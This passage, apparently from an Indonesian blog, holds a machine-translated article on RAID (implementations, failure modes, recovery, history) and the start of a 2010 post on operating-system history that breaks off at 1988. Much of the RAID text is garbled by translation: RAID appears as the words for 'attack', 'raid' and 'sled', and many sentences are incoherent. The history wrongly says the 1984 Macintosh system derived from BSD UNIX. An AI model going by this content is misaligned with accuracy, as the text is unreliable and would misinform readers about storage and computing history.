dapat menjadi rusak atau hancur tanpa merusak drive (s) yang mereka disimpan. Sebagai contoh, beberapa data dapat ditimpa oleh malfungsi sistem; file mungkin rusak atau dihapus oleh kesalahan pengguna atau kebencian dan tidak menyadari selama berhari-hari atau berminggu-minggu. RAID juga dapat kewalahan oleh kegagalan katastropik yang melebihi kapasitas pemulihan dan, tentu saja, seluruh array pada risiko kerusakan fisik akibat kebakaran, bencana alam, atau kekuatan manusia. RAID juga rentan terhadap kegagalan controller karena tidak selalu memungkinkan untuk bermigrasi ke RAID controller baru tanpa kehilangan data. drive drive RAID dapat membuat cadangan yang sangat baik, ketika bekerja sebagai perangkat cadangan untuk penyimpanan utama, dan terutama ketika berada di luar lokasi dari sistem utama. Namun, penggunaan RAID sebagai solusi penyimpanan utama tidak dapat menggantikan backup. Implementasi (Secara khusus, bagian membandingkan hardware / software raid) Distribusi data melalui beberapa drive dapat dikelola baik oleh didedikasikan perangkat keras atau perangkat lunak . Saat selesai dalam perangkat lunak perangkat lunak dapat menjadi bagian dari sistem operasi atau mungkin menjadi bagian dari firmware dan driver yang disertakan bersama kartu. Sistem Operasi berbasis ("perangkat lunak RAID") Perangkat Lunak implementasi sekarang banyak disediakan oleh sistem operasi . Lapisan perangkat lunak duduk di atas (umumnya blok -based) disk device driver dan menyediakan lapisan abstraksi antara drive logis (serangan) dan drive fisik . Sebagian besar tingkat umum adalah RAID 0 (striping di beberapa drive ruang meningkat dan kinerja) dan RAID 1 (mirroring dua drive), diikuti oleh RAID 1 0, RAID 0 +1, dan RAID 5 (data striping dengan paritas) didukung.  Apple Mac OS X Server dan Mac OS X dukungan RAID 0, RAID 1 dan RAID 1 0.  FreeBSD mendukung RAID 0, RAID 1, RAID 3 dan RAID 5 dan semua layerings di atas melalui GEOM modul dan CCD.serta mendukung RAID 0, RAID 1, RAID-Z, dan-Z2 (mirip dengan RAID-5 dan RAID-6 masing-masing), ditambah nested RAID kombinasi tersebut melalui ZFS .  Linux mendukung RAID 0, RAID 1, RAID 4, RAID 5, RAID 6 dan semua layerings di atas.  Microsoft sistem 's operasi server mendukung RAID 3 tingkat; RAID 0, RAID 1, dan RAID 5. Beberapa dukungan sistem operasi desktop RAID Microsoft seperti Windows XP Professional yang mendukung RAID tingkat 0 di samping mencakup beberapa disk tapi hanya jika menggunakan disk dinamis dan volume. Windows XP mendukung RAID 0, 1, dan 5 dengan file patch yang sederhana.fungsi RAID di Windows lebih lambat dari hardware RAID, namun memungkinkan array RAID untuk dipindahkan ke komputer lain tanpa masalah kompatibilitas.  NetBSD mendukung RAID 0, RAID 1, RAID 4 dan RAID 5 (dan setiap kombinasi diulang dari orang-orang seperti 1 0) melalui implementasi perangkat lunaknya, bernama RAIDframe.  OpenBSD bertujuan untuk mendukung RAID 0, RAID 1, RAID 4 dan RAID 5 melalui implementasi softraid perangkat lunaknya.  OpenSolaris dan Solaris 10 mendukung RAID 0, RAID 1, RAID 5 (atau serupa "RAID Z" ditemukan hanya pada ZFS ), dan RAID 6 (dan setiap kombinasi diulang dari orang-orang seperti 1 0) melalui ZFS dan sekarang memiliki kemampuan untuk boot dari volume ZFS pada kedua x86 dan UltraSPARC . Melalui SVM, Solaris 10 dan versi sebelumnya dukungan RAID 1 untuk boot filesystem, dan menambahkan RAID 0 dan RAID 5 support (dan kombinasi berbagai nested) untuk drive data. Software RAID memiliki kelebihan dan kekurangan dibandingkan dengan hardware RAID. Perangkat lunak ini harus dijalankan pada host server yang melekat pada penyimpanan, dan prosesor server yang harus mendedikasikan waktu pemrosesan untuk menjalankan perangkat lunak RAID. Kapasitas pengolahan tambahan yang dibutuhkan untuk RAID 0 dan RAID 1 adalah rendah, tetapi paritas array berbasis data yang lebih kompleks membutuhkan pengolahan selama menulis atau operasi-memeriksa integritas. Sementara tingkat pengolahan data meningkat dengan jumlah disk di array, demikian juga kebutuhan pengolahan. Selain semua bus antara prosesor dan kontroler disk harus membawa data tambahan yang diperlukan oleh RAID yang dapat menyebabkan kemacetan. Selama sejarah hard disk drive, peningkatan kecepatan CPU komoditas secara konsisten lebih besar dari peningkatan kecepatan throughput hard disk drive. Jadi, lebih-waktu untuk angka yang diberikan dari hard disk drive, persentase waktu CPU host yang diperlukan untuk menyerap sejumlah tertentu dari hard disk drive telah menurun. misalnya perangkat lunak Linux RAID md subsistem yang mampu menghitung informasi paritas pada 6GB / s (penggunaan 100% dari satu inti pada 2,1 GHz Intel "Core2" CPU pada Linux v2.6.26). Sebuah array tiga-drive RAID5 menggunakan hard disk yang mampu mempertahankan menulis tentang 100MB / s akan memerlukan paritas akan dihitung pada tingkat 200MB / s. Ini akan membutuhkan sumber daya hanya lebih dari 3% dari inti CPU tunggal selama Operasi tulis (paritas tidak perlu dihitung untuk operasi baca pada RAID5 array, kecuali harddisk rusak). Software RAID implementasi dapat menggunakan algoritma yang lebih canggih dari perangkat keras RAID implementasi (misalnya sehubungan dengan penjadwalan disk dan antrian perintah), dan dengan demikian dapat mampu meningkatkan kinerja. Keprihatinan lain dengan sistem RAID berbasis operasi adalah proses boot. Ini bisa sulit atau tidak mungkin untuk mengatur proses boot seperti yang dapat gagal ke drive lain jika gagal boot drive biasa.Sistem seperti itu dapat memerlukan intervensi manual untuk membuat mesin bootable lagi setelah kegagalan. Ada pengecualian untuk ini, seperti bootloader LILO untuk Linux, loader untuk FreeBSD, dan beberapa konfigurasi dari bootloader GRUB native memahami RAID-1 dan dapat memuat kernel. Jika BIOS mengenali disk pertama rusak dan mengacu bootstrap ke disk berikutnya, sistem seperti ini akan muncul tanpa intervensi, tetapi BIOS mungkin atau tidak mungkin melakukan itu sebagaimana dimaksud. Sebuah RAID controller hardware biasanya memiliki pemrograman eksplisit untuk memutuskan bahwa disk rusak dan jatuh ke disk berikutnya. Hardware RAID controller juga dapat membawa memori cache bertenaga baterai. Untuk keamanan data dalam sistem modern pengguna perangkat lunak RAID mungkin perlu untuk menghidupkan kembali menulis cache pada dari disk (tapi beberapa drive memiliki baterai sendiri / kapasitor di-back cache menulis, UPS, dan / atau tidak melaksanakan atomicity di berbagai cara, dll). Menonaktifkan menulis cache memiliki kinerja yang dapat hukuman, tergantung pada beban kerja dan seberapa baik didukung perintah dalam sistem antrian disk, sangat signifikan. Cache baterai didukung pada controller RAID merupakan salah satu solusi untuk memiliki cache write-back aman. Akhirnya sistem RAID berbasis operasi biasanya menggunakan format khusus untuk sistem operasi tersebut sehingga tidak dapat secara umum digunakan untuk partisi yang dapat dibagi antara sistem operasi sebagai bagian dari multi-boot setup. Namun, ini memungkinkan disk RAID untuk dipindahkan dari satu komputer ke komputer dengan sistem operasi atau file sistem dari jenis yang sama, yang dapat lebih sulit bila menggunakan hardware RAID (contoh: # 1: Ketika satu komputer menggunakan hardware RAID controller dari satu produsen dan komputer lain menggunakan kontroler dari produsen yang berbeda, drive biasanya tidak dapat dipertukarkan. misalnya # 2: Jika controller hardware 'mati' sebelum disk lakukan, data dapat menjadi tidak terpulihkan kecuali controller hardware dari jenis yang sama diperoleh, berbeda dengan RAID berbasis firmware atau perangkat lunak-based). sistem operasi berbasis Kebanyakan implementasi memungkinkan serangan yang harus dibentuk dari partisi drive fisik daripada keseluruhan. Misalnya, seorang administrator dapat membagi ganjil disk menjadi dua partisi pada setiap disk, cermin dan partisi di disk stripe volume di partisi kaca untuk mengemulasikan IBM konfigurasi RAID 1E . Menggunakan partisi dengan cara ini juga memungkinkan pencampuran tingkat keandalan pada set yang sama disk. Misalnya, orang bisa memiliki yang sangat kuat RAID 1 partisi untuk file penting, dan kurang kuat RAID 5 atau RAID 0 partisi untuk data yang kurang penting. (BIOS berbasis pengendali Beberapa menawarkan fitur serupa, misalnya Intel Matrix RAID ini.) Menggunakan dua partisi pada drive yang sama di RAID yang sama, Namun, berbahaya.(Contoh: # 1: Setelah semua partisi dari RAID-1 pada drive yang sama akan, jelas, membuat semua data tidak dapat diakses jika drive gagal. Misalnya # 2: Dalam sebuah array RAID 5 yang terdiri dari empat drive 250 + 250 + 250 + 500 GB, dengan split drive 500 GB menjadi dua partisi 250 GB, kegagalan ini akan menghapus drive dua partisi dari array, menyebabkan semua data yang diselenggarakan di atasnya yang akan hilang). Perangkat Keras berbasis Hardware RAID controller digunakan berbeda, milik layout disk, sehingga biasanya tidak mungkin untuk controller span dari produsen yang berbeda. Mereka tidak membutuhkan sumber daya prosesor, BIOS dapat boot dari mereka, dan integrasi yang lebih kuat dengan driver perangkat mungkin menawarkan penanganan error yang lebih baik. Sebuah implementasi hardware RAID memerlukan minimal tujuan khusus- controller RAID . Pada sistem desktop hal ini dapat menjadi PCI kartu ekspansi , PCI-e ekspansi kartu atau dibangun ke dalammotherboard . Controller mendukung sebagian besar jenis drive dapat digunakan - IDE / ATA , SATA , SCSI , SSA , Fibre Channel , kadang-kadang bahkan kombinasi. Disk controller dan mungkin dalam sebuah stand-alone kandang disk , bukan di dalam komputer. kandang ini dapat langsung dipasang ke komputer, atau terhubung melalui SAN . Hardware controller menangani pengelolaan drive, dan melakukan perhitungan paritas apapun yang dibutuhkan oleh tingkat RAID yang dipilih. Kebanyakan implementasi perangkat keras menyediakan membaca / menulis cache , yang, tergantung pada I / O beban kerja, akan meningkatkan kinerja. Pada kebanyakan sistem menulis cache non-volatile (yaitu baterai yang dilindungi), jadi tertunda menulis tidak hilang pada listrik. Hardware implementasi memberikan jaminan kinerja, menambahkan tidak ada overhead ke kompleks CPU lokal dan dapat mendukung banyak sistem operasi, sebagai controller hanya menyajikan Diskuntuk sistem operasi. Hardware implementasi juga biasanya mendukung swapping panas, memungkinkan drive gagal diganti sedangkan sistem sedang bekerja. Namun, hardware RAID controller kebanyakan lebih lambat daripada perangkat lunak RAID karena yang berdedikasi CPU pada kartu kendali, yang tidak secepat CPU nyata dalam komputer / server .Lebih mahal RAID controller memiliki CPU yang lebih cepat. Jika Anda membeli hardware RAID controller, kasir spesifikasi dan mencari throughput kecepatan. Firmware berbasis RAID driver / ("FakeRAID") RAID berbasis sistem operasi tidak selalu melindungi proses boot dan umumnya tidak praktis pada versi desktop dari Windows (seperti yang dijelaskan di atas). Hardware RAID controller yang mahal dan eksklusif. Untuk mengisi gap ini, murah "pengendali RAID" diperkenalkan yang tidak mengandung chip controller RAID, tapi hanya chip pengontrol disk standar dengan firmware khusus dan driver.Selama tahap awal boot RAID diimplementasikan oleh firmware, ketika sebuah dilindungi-modus kernel sistem operasi seperti Linux atau versi modern dari Microsoft Windows adalah memuat driver mengambil alih. Ini pengendali dijelaskan oleh produsen mereka sebagai pengendali RAID, dan jarang dibuat jelas untuk pembeli bahwa beban pengolahan RAID ditanggung oleh unit pengolahan sentral komputer host, bukan controller RAID itu sendiri, sehingga memperkenalkan CPU overhead tersebut dari yang keras pengendali tidak menderita. Firmware pengendali seringkali hanya dapat menggunakan beberapa jenis hard drive dalam array RAID mereka (misalnya SATA untuk Intel Matrix RAID ), karena ada SCSI atau tidak mendukung PATA modern ICH Intel southbridges , namun, pembuat motherboard RAID controller menerapkan di luar southbridge pada beberapa motherboard. Sebelum diperkenalkan, sebuah RAID controller "" tersirat bahwa pengendali yang melakukan pengolahan, dan jenis baru telah menjadi dikenal oleh beberapa orang sebagai "RAID palsu" meskipun RAID itu sendiri diimplementasikan dengan benar. Adaptec menyebut mereka "HostRAID". Network Attached Meskipun tidak secara langsung terkait dengan RAID, Network Attached storage (NAS) adalah sebuah kandang berisi disk drive dan peralatan yang diperlukan untuk membuat mereka tersedia melaluijaringan komputer , biasanya Ethernet . lampiran pada dasarnya adalah komputer khusus yang berdiri sendiri, dirancang untuk beroperasi melalui jaringan tanpa layar atau keyboard. Ini berisi satu atau lebih drive disk; beberapa drive dapat dikonfigurasi sebagai RAID. Hot suku cadang Kedua perangkat keras dan perangkat lunak dengan redundansi serangan dapat mendukung penggunaan cadangan panas drive, drive fisik terinstal dalam array yang tidak aktif sampai drive aktif gagal, ketika sistem secara otomatis menggantikan drive gagal dengan luang, membangun kembali array dengan cadangan termasuk drive. Hal ini mengurangi waktu yang berarti untuk pemulihan (MTTR), walaupun tidak menghilangkan sama sekali. Setelah kegagalan tambahan (s) pada kelompok redundancy RAID array yang sama sebelum dibangun kembali sepenuhnya dapat menyebabkan hilangnya data; pembangunan kembali bisa memakan waktu beberapa jam, terutama pada sistem sibuk. penggantian cepat drive gagal adalah penting sebagai drive dari array semua akan memiliki jumlah yang sama digunakan, dan mungkin cenderung gagal pada waktu yang sama, bukan secara acak. RAID 6 tanpa cadangan menggunakan nomor yang sama drive sebagai RAID 5 dengan cadangan panas dan melindungi data terhadap kegagalan simultan sampai dua drive, tetapi membutuhkan controller RAID yang lebih maju. Selanjutnya, cadangan panas dapat dibagi oleh beberapa set RAID. istilah Tingkat Kegagalan Dua macam tingkat kegagalan yang berlaku pada sistem RAID. Logis kegagalan didefinisikan sebagai hilangnya drive tunggal dan laju sama dengan jumlah tingkat kegagalan drive masing-masing.Kegagalan sistem didefinisikan sebagai hilangnya data dan tingkat perusahaan akan tergantung pada jenis RAID. Untuk RAID 0 ini sama dengan tingkat kegagalan logis, karena tidak ada redundansi. Untuk jenis RAID, itu akan kurang dari tingkat kegagalan logis, berpotensi mendekati nol, dan nilai eksaknya akan tergantung pada jenis RAID, jumlah drive yang dipekerjakan, dan kewaspadaan dan kesigapan administrator manusianya. Berarti waktu untuk kehilangan data (MTTDL) Dalam konteks ini, rata-rata sebelum hilangnya data dalam array yang diberikan Mean waktu hilangnya data RAID yang diberikan mungkin lebih tinggi atau lebih rendah daripada hard drive penyusunnya, tergantung pada jenis RAID digunakan. Laporan direferensikan mengasumsikan kali untuk kehilangan data yang eksponensial. Ini berarti 63,2% dari semua kehilangan data akan terjadi antara waktu 0 dan MTTDL. Berarti waktu untuk pemulihan (MTTR) Dalam array yang mencakup redundancy untuk keandalan, ini adalah waktu mengikuti kegagalan untuk mengembalikan array ke mode normal-toleran kegagalan operasi. Ini termasuk waktu untuk mengganti mekanisme disk gagal serta waktu untuk kembali membangun array (yaitu melakukan replikasi data untuk redundansi). Terpulihkannya bit error rate (Ube) Ini adalah tingkat di mana disk drive tidak akan dapat memulihkan data setelah aplikasi cek redundansi siklik (CRC) kode dan beberapa retries. Write cache keandalan Beberapa sistem RAID menggunakan RAM menulis cache untuk meningkatkan kinerja. Kegagalan listrik dapat menyebabkan hilangnya data kecuali semacam ini buffer disk dilengkapi dengan baterai untuk memastikan bahwa buffer memiliki cukup waktu untuk menulis dari RAM ke disk. Atom menulis kegagalan Juga dikenal dengan berbagai istilah seperti menulis robek, sobek halaman, tidak lengkap menulis, sela menulis, non-transaksional, dll Masalah dengan RAID kegagalan terkorelasi Teori di balik koreksi kesalahan dalam RAID mengasumsikan bahwa kegagalan drive independen. Dengan asumsi ini adalah mungkin untuk menghitung seberapa sering mereka bisa gagal dan untuk mengatur array untuk membuat kehilangan data sewenang-wenang mungkin. Dalam prakteknya, sering drive usia yang sama, dengan memakai serupa. Sejak kegagalan banyak drive karena masalah mekanik yang lebih cenderung pada drive yang lebih tua, ini melanggar asumsi-asumsi dan kegagalan sebenarnya berkorelasi statistik. Dalam prakteknya kemudian, kemungkinan kegagalan kedua sebelum pertama telah pulih tidak hampir tidak mungkin sebagai mungkin seharusnya, dan data kerugian dapat, dalam prakteknya, terjadi pada tingkat yang signifikan. Kesalahpahaman yang umum adalah bahwa "server-grade" drive gagal lebih jarang daripada drive konsumen kelas. Dua penelitian independen, satu per Carnegie Mellon University dan yang lainnya olehGoogle , telah menunjukkan bahwa "nilai" dari drive tidak berhubungan dengan tingkat kegagalan. Atomicity Ini sedikit dimengerti dan jarang disebut modus kegagalan untuk sistem penyimpanan berlebihan yang tidak memanfaatkan fitur transaksional. Database peneliti Jim Gray menulis "Update di Place adalah Poison Apple" pada hari-hari awal komersialisasi database relasional. Namun, peringatan ini diabaikan sebagian besar pergi dan jatuh di pinggir jalan pada munculnya RAID, perangkat lunak insinyur banyak yang mengira sebagai pemecahan semua penyimpanan data integritas dan masalah reliabilitas. Banyak program perangkat lunak pembaruan objek penyimpanan "di tempat", yaitu, mereka menulis versi baru dari objek ke alamat disk yang sama dengan versi lama dari objek. Sementara perangkat lunak juga dapat log beberapa informasi delta di tempat lain, ia mengharapkan penyimpanan untuk mempresentasikan "menulis atom semantik," yang berarti bahwa menulis data baik terjadi secara keseluruhan atau tidak terjadi sama sekali. Namun, sistem penyimpanan sangat sedikit menyediakan dukungan untuk atom menulis, dan bahkan lebih sedikit menentukan tingkat kegagalan mereka dalam menyediakan semantik ini. Catatan bahwa selama tindakan menulis sebuah objek, perangkat penyimpanan RAID biasanya akan menulis semua salinan berlebihan dari objek secara paralel, meskipun tumpang tindih atau terhuyung menulis lebih umum ketika sebuah prosesor tunggal RAID bertanggung jawab atas beberapa drive. Oleh karena itu sebuah kesalahan yang terjadi selama proses menulis dapat meninggalkan salinan berlebihan di negara-negara yang berbeda, dan selanjutnya mungkin akan meninggalkan salinannya pada baik tua maupun negara baru. Modus kegagalan banyak diketahui adalah bahwa pembalakan delta bergantung pada data asli yang baik di lama atau negara baru sehingga memungkinkan mundur perubahan logis, namun beberapa sistem penyimpanan memberikan menulis atom semantik pada disk RAID. Sedangkan menulis baterai yang didukung sebagian cache dapat memecahkan masalah, hanya berlaku untuk skenario listrik. Sejak dukungan transaksional tidak universal hadir dalam hardware RAID, banyak sistem operasi termasuk dukungan transaksional untuk melindungi terhadap kehilangan data saat menulis terganggu.Novell Netware, dimulai dengan versi 3.x, termasuk sistem pelacakan transaksi. Microsoft memperkenalkan pelacakan transaksi melalui journal fitur di NTFS . Ext4 memiliki journal dengan checksum; ext3 memiliki journal tanpa checksums tetapi sebuah "append-satunya" pilihan, atau ext3COW (Salin pada Write). Jika jurnal itu sendiri dalam filesystem rusak walaupun, ini dapat menjadi masalah. The journal in NetApp WAFL file sistem memberikan atomicity dengan tidak pernah memperbarui data di tempat, seperti halnya ZFS . Sebuah metode alternatif untuk journal adalah update lunak , yang digunakan dalam sistem berasal BSD-implementasi beberapa UFS . Hal ini dapat hadir sebagai sektor membaca kegagalan. Beberapa implementasi RAID melindungi terhadap modus ini kegagalan oleh remapping yang bad sector , menggunakan data yang berlebihan untuk mengambil salinan baik dari data, dan menulis ulang yang baik data ke sektor dipetakan pengganti baru. The Ube (Bit Error Terpulihkannya) tingkat biasanya ditentukan pada 1 bit di 10 15 untuk perusahaan kelas disk drive ( SCSI , FC , SAS ), dan 1 bit di 10 14 untuk desktop kelas disk drive (IDE / ATA / PATA, SATA) . Meningkatkan kapasitas disk dan RAID 5 kelompok besar redundansi menyebabkan meningkatnya ketidakmampuan untuk berhasil membangun kembali kelompok RAID setelah kegagalan disk karena sektor dipulihkan ditemukan pada drive yang tersisa. skema perlindungan ganda seperti RAID 6 sedang berusaha untuk mengatasi masalah ini, tapi menderita hukuman menulis sangat tinggi. Write cache keandalan Sistem disk dapat mengakui menulis operasi segera setelah data tersebut di cache, tidak menunggu data tertulis secara fisik. Ini biasanya terjadi di lama, sistem non-journal seperti FAT32, atau jika Linux / Unix "writeback" pilihan yang dipilih tanpa perlindungan seperti "update lunak" pilihan (untuk mempromosikan I / O kecepatan-jauh sementara perdagangan keandalan data) . Sebuah pemadaman listrik atau sistem menggantung seperti BSOD dapat berarti kerugian yang signifikan dari setiap data antri sedemikian cache. Sering kali baterai melindungi menulis cache, kebanyakan memecahkan masalah. Jika menulis gagal karena listrik mati, controller dapat menyelesaikan tertunda menulis secepat ulang. Solusi ini masih memiliki potensi kegagalan kasus: baterai mungkin aus, daya mungkin mati terlalu lama, disk dapat dipindahkan ke controller lain, controller itu sendiri bisa gagal. Beberapa sistem disk menyediakan kemampuan pengujian baterai secara berkala, namun hal ini meninggalkan sistem tanpa baterai yang terisi penuh selama beberapa jam. Sebuah keprihatinan tambahan tentang menulis kehandalan cache ada, khususnya mengenai perangkat dilengkapi dengan menulis kembali cache-sistem caching yang melaporkan data tertulis segera setelah ditulis ke cache, yang bertentangan dengan media non-volatile.Teknik lebih aman adalah cache write-through, yang melaporkan transaksi seperti ditulis ketika mereka ditulis ke medium non-volatile. kompatibilitas Peralatan format disk ini pada kontroler RAID yang berbeda tidak selalu kompatibel, sehingga tidak mungkin untuk membaca RAID pada hardware yang berbeda. Oleh karena itu hardware non-disk gagal mungkin memerlukan menggunakan hardware identik dengan memulihkan data. Software RAID Namun, seperti diterapkan di kernel Linux, meredakan kekhawatiran ini, seperti setup tidak hardware dependent, tapi berjalan pada kontroler disk biasa. Selain itu, Software RAID1 disk (dan beberapa perangkat keras RAID1 disk, misalnya Silicon Image 5744) dapat dibaca seperti disk normal, sehingga tidak ada sistem RAID yang diperlukan untuk mengambil data. perusahaan recovery data biasanya memiliki waktu yang sangat sulit memulihkan data dari drive RAID, dengan pengecualian RAID1 drive dengan struktur data konvensional. Data recovery pada saat array gagal Dengan kapasitas disk besar kemungkinan kegagalan disk selama membangun kembali tidak dapat diabaikan. Dalam acara tersebut kesulitan untuk penggalian data dari array gagal harus dipertimbangkan. Hanya RAID 1 toko semua data pada setiap disk. Meskipun mungkin tergantung pada kontroler, beberapa 1 RAID disk dapat dibaca sebagai disk konvensional tunggal. Ini berarti yang dijatuhkan disk RAID 1, meskipun rusak, sering bisa cukup mudah ditemukan dengan menggunakan program perangkat lunak pemulihan atau CHKDSK. Bila tingkat kerusakan yang lebih parah, sering data dapat dipulihkan oleh spesialis drive profesional. RAID5 dan lainnya bergaris atau didistribusikan array ini jauh lebih hebat hambatan pemulihan data dalam hal array turun. Drive kesalahan algoritma Banyak drive modern memiliki algoritma pemulihan kesalahan internal yang dapat mengambil ke atas satu menit untuk memulihkan dan data peta kembali bahwa drive gagal membaca dengan mudah.Banyak RAID controller akan drop drive non-responsif dalam 8 detik atau lebih. Hal ini dapat menyebabkan array untuk menjatuhkan drive baik karena belum diberikan cukup waktu untuk menyelesaikan kesalahan prosedur internal pemulihan, meninggalkan sisa array rentan. Jadi yang disebut drive perusahaan kelas batas waktu pemulihan kesalahan dan mencegah masalah ini, tapi drive desktop dapat cukup berisiko karena alasan ini. memperbaiki Sebuah dikenal untuk drive Western Digital. utilitas bernama WDTLER.exe dapat membatasi waktu pemulihan kesalahan desktop drive Western Digital sehingga tidak akan jatuh dari array karena alasan ini. Utilitas ini memungkinkan TLER (kesalahan pemulihan terbatas waktu) yang membatasi waktu pemulihan kesalahan ke 7 detik. <- "UPDATE" Pada Oktober 2009 Western Digital telah terkunci di luar fitur ini di drive desktop mereka seperti Black Kaviar. Dikatakan bahwa jika Anda mencoba untuk menjalankan program WDTLER Anda benar-benar dapat merusak firmware drive. "UPDATE" -> Barat drive perusahaan kelas Digital dikapalkan dari pabrik dengan TLER diaktifkan untuk mencegah dijatuhkan dari array RAID. teknologi serupa digunakan oleh Seagate, Samsung, dan Hitachi. waktu pemulihan Drive kapasitas telah tumbuh di tingkat yang lebih cepat daripada kecepatan transfer, dan tingkat kesalahan hanya jatuh sedikit dibandingkan. Oleh karena itu, drive kapasitas yang lebih besar dapat mengambil jam, jika tidak hari, untuk membangun kembali. Re-waktu pembangunan juga terbatas jika seluruh array masih beroperasi pada kapasitas berkurang. Diketahui sebuah array RAID dengan hanya satu disk redundansi (penggerebekan 3, 4, dan 5), kegagalan kedua akan menyebabkan kegagalan lengkap dari array, sebagai waktu yang berarti antara kegagalan (MTBF) tinggi. Masalah lain dan virus Sementara RAID dapat melindungi terhadap kegagalan drive fisik, data masih terkena operator, perangkat lunak, perangkat keras dan kehancuran virus. Banyak penelitian mengutip kesalahan operator sebagai sumber yang paling umum dari kerusakan, seperti server operator menggantikan disk yang salah dalam RAID array yang salah, dan melumpuhkan sistem (walaupun sementara) dalam proses itu. Kebanyakan yang dirancang dengan baik sistem termasuk sistem cadangan yang terpisah yang menyimpan salinan data, tetapi tidak membolehkan banyak interaksi dengan itu.Kebanyakan salin data dan menghapus salinan dari komputer untuk penyimpanan yang aman. Sejarah Norman Ken Ouchi di IBM meraih 1.978 paten AS 4.092.732 berjudul "Sistem untuk memulihkan data yang tersimpan dalam unit memori gagal." The klaim untuk paten ini menjelaskan apa yang kemudian akan disebut RAID 5 dengan penuh stripe menulis. Paten 1978 ini juga menyebutkan bahwa disk mirroring atau duplexing (apa yang kemudian disebut sebagai RAID 1) dan perlindungan dengan paritas khusus (yang kemudian akan disebut RAID 4) adalah seni sebelumnya pada waktu itu. RAID Istilah ini pertama kali didefinisikan oleh David A. Patterson , Garth A. Gibson dan Randy Katz dari University of California, Berkeley, pada tahun 1987. Mereka mempelajari kemungkinan menggunakan dua atau lebih drive untuk muncul sebagai satu perangkat ke sistem host dan menerbitkan sebuah makalah: "Kasus A untuk Redundant Arrays of Inexpensive Disk (RAID)" pada bulan Juni 1988 di SIGMOD konferensi. Spesifikasi ini menyarankan sejumlah prototipe RAID level, atau kombinasi dari drive. Masing-masing memiliki kelebihan dan kekurangan teoritis. Selama bertahun-tahun, implementasi yang berbeda dari konsep RAID telah muncul. Kebanyakan berbeda secara substansial dari tingkat RAID asli ideal, tetapi nama bernomor tetap. Hal ini dapat membingungkan, karena salah satu implementasi RAID 5, misalnya, bisa berbeda secara substansial dari yang lain. RAID 3 dan RAID 4 sering bingung dan bahkan digunakan secara bergantian. Salah satu penggunaan awal RAID 0 dan 1 adalah Elektronika Crosfield Studio 9500 Halaman layout sistem berdasarkan workstation Python. Workstation Python adalah Crosfield dikelola pembangunan internasional menggunakan PERQ 3B elektronik, Teknologi Benchmark's Viper sistem layar dan RAID itu sendiri Crosfield dan pengendali jaringan optik serat. RAID 0 adalah sangat penting untuk workstation ini karena manipulasi gambar secara dramatis dipercepat untuk pasar pra-tekan. Volume produksi dimulai di Peterborough, Inggris pada awal 1987. Non-RAID drive arsitektur Non-RAID drive arsitektur juga ada, dan sering disebut, mirip dengan RAID dengan akronim standar, beberapa lidah-di-pipi. Sebuah drive tunggal disebut sebagai kereta luncur, (Single Besar Mahal Drive), sebaliknya dengan RAID, sementara sebuah array drive tanpa kontrol tambahan (diakses hanya sebagai drive independen) yang disebut sebagai JBOD (Just a Bunch Of Disk) . Rangkaian sederhana adalah dirujuk ke SPAN, atau kadang-kadang sebagai JBOD, meskipun yang terakhir ini terlarang digunakan hati-hati, karena alternatif yang berarti hanya dikutip. Referensi 1. David A. Patterson, Garth Gibson, dan Randy H. Katz: Kasus untuk Redundant Arrays of Inexpensive Disk (RAID) . University of Berkley California. 1988. 2. Awalnya disebut sebagai Redundant Array of Inexpensive Disk, konsep RAID pertama kali dikembangkan pada akhir 1980-an oleh Patterson, Gibson, dan Katz dari University of California di Berkeley. (The RAID Dewan Penasehat sejak diganti dengan istilah yang Murah Independen ".) Storage Area Network Fundamentals; Meeta Gupta, Cisco Press, ISBN 978-1-58705-065-7 ; Lampiran A. 3. Lihat RAS sindrom . 4. Kamus SNIA 5. Vijayan, S.; Selvamani, S.; Vijayan, S (1995). "Dual-Crosshatch Disk Array: Sebuah RAID Arsitektur Handal Hybrid-Sangat" . Prosiding Konferensi Internasional tahun 1995 tentang Pengolahan Paralel: Volume 1. CRC Press . hlm.. I-146 ff ISBN 084932615X .

Sabtu, 08 Mei 2010

sejarah sistem operasi

Standard
Sejarah Sistem Operasi dari DOS, Windows sampai Linux Jangan melupakan sejarah …! Kalimat ini bukan hanya berlaku di dunia nyata, tetapi juga di dunia komputer, khususnya dunia sistem operasi. Mempelajari sejarah memang menarik, bahkan sekalipun itu hanya sejarah sistem operasi / operating system (OS) suatu komputer. Paling tidak dengan mempelajari sejarah sistem operasi komputer, wawasan kita bertambah luas dan tidak hanya berkutat pada satu sistem operasi saja. Artikel ini akan menguraikan sejarah sistem operasi dari DOS, Mac, Windows, BSD, sampai Linux. 1980 QDOS : Tim Paterson dari Seattle Computer menulis QDOS yang dibuat dari OS terkenal pada masa itu, CP/M. QDOS (Quick and Dirty Operating System) dipasarkan oleh Seatle Computer dengan nama 86-DOS karena dirancang untuk prosesor Intel 8086. Microsoft : Bill Gates dari Microsoft membeli lisensi QDOS dan menjualnya ke berbagai perusahaan komputer. 1981 PC DOS : IBM meluncurkan PC DOS yang dibeli dari Microsoft untuk komputernya yang berbasis prosesor Intel 8086. MS DOS : Microsoft menggunakan nama MS DOS untuk OS ini jika dijual oleh perusahaan diluar IBM. 1983 MS DOS 2.0 : Versi 2.0 dari MS DOS diluncurkan pada komputer PC XT. 1984 System 1.0 : Apple meluncurkan Macintosh dengan OS yang diturunkan dari BSD UNIX. System 1.0 merupakan sistem operasi pertama yang telah berbasis grafis dan menggunakan mouse. MS DOS 3.0 : Microsoft meluncurkan MS DOS 3.0 untuk PC AT yang menggunakan chip Intel 80286 dan yang mulai mendukung penggunaan hard disk lebih dari 10 MB. MS DOS 3.1 : Microsoft meluncurkan MS DOS 3.1 yang memberikan dukungan untuk jaringan. 1985 MS Windows 1.0 : Microsoft memperkenalkan MS Windows, sistem operasi yang telah menyediakan lingkungan berbasis grafis (GUI) dan kemampuan multitasking. Sayangnya sistem operasi ini sangat buruk performanya dan tidak mampu menyamai kesuksesan Apple. Novell Netware : Novell meluncurkan sistem operasi berbasis jaringan Netware 86 yang dibuat untuk prosesor Intel 8086. 1986 MS DOS 3.2 : Microsoft meluncurkan MS DOS 3.2 yang menambahkan dukungan untuk floppy 3.5 inch 720 KB. 1987 OS/2 : IBM memperkenalkan OS/2 yang telah berbasis grafis, sebagai calon pengganti IBM PC DOS. MS DOS 3.3 : Microsoft meluncurkan MS DOS 3.3 yang merupakan versi paling populer dari MS DOS. Windows 2.0 : Windows versi 2.0 diperkenalkan. MINIX : Andrew S. Tanenbaum mengembangkan Minix, sistem operasi berbasis Unix yang ditujukan untuk pendidikan. MINIX nantinya menginspirasi pembuatan Linux. 1988 MS DOS 4.0 : 